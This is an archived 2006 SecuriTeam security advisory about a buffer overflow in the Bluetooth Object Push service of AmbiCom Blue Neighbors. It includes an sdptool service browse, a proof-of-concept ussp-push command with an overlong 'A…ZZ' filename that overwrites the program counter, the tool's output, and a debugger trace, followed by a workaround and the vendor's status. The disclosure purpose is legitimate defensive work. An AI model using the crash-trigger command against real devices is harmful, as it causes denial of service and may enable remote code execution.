

[NEWS] AmbiCom Bluetooth Object Push Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00062.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 19 Jan 2006 17:14:27 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

AmbiCom Bluetooth Object Push Buffer Overflow

SUMMARY

"With Bluetooth Wireless Solutions from <http://www.ambicom.com/products/air2net/> AmbiCom, all your Bluetooth devices; such as mobile phones, PDAs, Notebook PCs, MP3 players, digital cameras, and more, can wirelessly communicate effortlessly via Bluetooth technology."

A buffer overflow with Ambicom's Blue Neighbors allow attackers to execute arbitrary code.

DETAILS

Vulnerable Systems:

* AmbiCom Blue Neighbors version 2.50 Build 2500 and prior

Performing an sdp browse of an AmbiCom device will reveal an Object Push service.

animosity:~/ussp-push-0.5# sdptool browse 00:10:7A:5C:04:92
Browsing 00:10:7A:5C:04:92 ...

[NEWS] AmbiCom Bluetooth Object Push Buffer Overflow

Service Name: OBEX Object Push
Service RecHandle: 0x10000
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100

A simple buffer overflow exists in the way Ambicom's Object Push service handles long file names. Sending a Unicode filename that is over 256 bytes will result in the instruction pointer being overwritten.

```
animosity:~/ussp-push-0.5# ./ussp-push 00:10:7A:5C:04:92@1 B `perl -e  
'print "A" x 261 . "ZZ"'^  
pushing file B  
name=B, size=257  
Registered transport
```

set user data

```
created new object  
Local device 00:0C:55:11:B3:9A  
Remote device 00:10:7A:5C:04:92 (1)
```

```
started a new request  
reqdone  
Command (00) has now finished, rsp: 20Connected!
```

Connection return code: 0, id: 0

Connection established

connected to server

Sending file:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZ,  
path: B, size: 257
```

In this example after attempting to accept the file the AmbiCom stack will crash because \$PC has been overwritten with Unicode ZZ aka 0x005a005a.

[NEWS] AmbiCom Bluetooth Object Push Buffer Overflow

If we had attached a remote ARM Debugger to Blue Neighbors.EXE prior to exploitation we seen the following:

IDA is analyzing the input file...

You may start to explore the input file right now.

Debugger: Attached to process 3546761726.

The initial auto analysis has been finished.

Debugged application message: Prefetch Abort: Thread=935124a8

Proc=900d7df8 'Blue Neighbors.EXE'.

Debugged application message: AKY=00000201 PC=005a005a RA=01622648

BVA=005a005a FSR=000004f0.

The instruction at 0x5A005A referenced memory at 0x5A005A.

The memory could not be read (0x005A005A -> 005A005A)

If the string used to trigger the buffer overflow is sent in ASCII as opposed to Unicode the memory of the process is overwritten in a different fashion. Remote execution of code may be possible if an attacker can craft the proper payload in either ASCII or Unicode. One side effect of failed exploitation can be cause denial of service due to the fact that certain values in the \$PC register can cause the entire device to lock up rather than just crashing the Bluetooth stack.

Workaround:

Disable the AmbiCom Bluetooth Stack or remove your Bluetooth module. Stacks from other vendors may help mitigate this risk however new risks may be introduced.

Vendor Status:

AmbiCom's Technical Support Department did not respond to attempts to to notify them of this problem. Emails sent to support@xxxxxxxxxxxx were left unanswered.

ADDITIONAL INFORMATION

The information has been provided by <mailto:.

The original article can be found at:

<[http://www.digitalmunition.com/DMA\[2006-0115a\].txt](http://www.digitalmunition.com/DMA[2006-0115a].txt)>

[http://www.digitalmunition.com/DMA\[2006-0115a\].txt](http://www.digitalmunition.com/DMA[2006-0115a].txt)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [*\[TOOL\] iWar PSTN Auditing Tool*](#)
 - Next by Date: [*\[NEWS\] Apple QuickTime Malformed GIF Heap Overflow*](#)
 - Previous by thread: [*\[TOOL\] iWar PSTN Auditing Tool*](#)
 - Next by thread: [*\[NEWS\] Apple QuickTime Malformed GIF Heap Overflow*](#)
 - Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)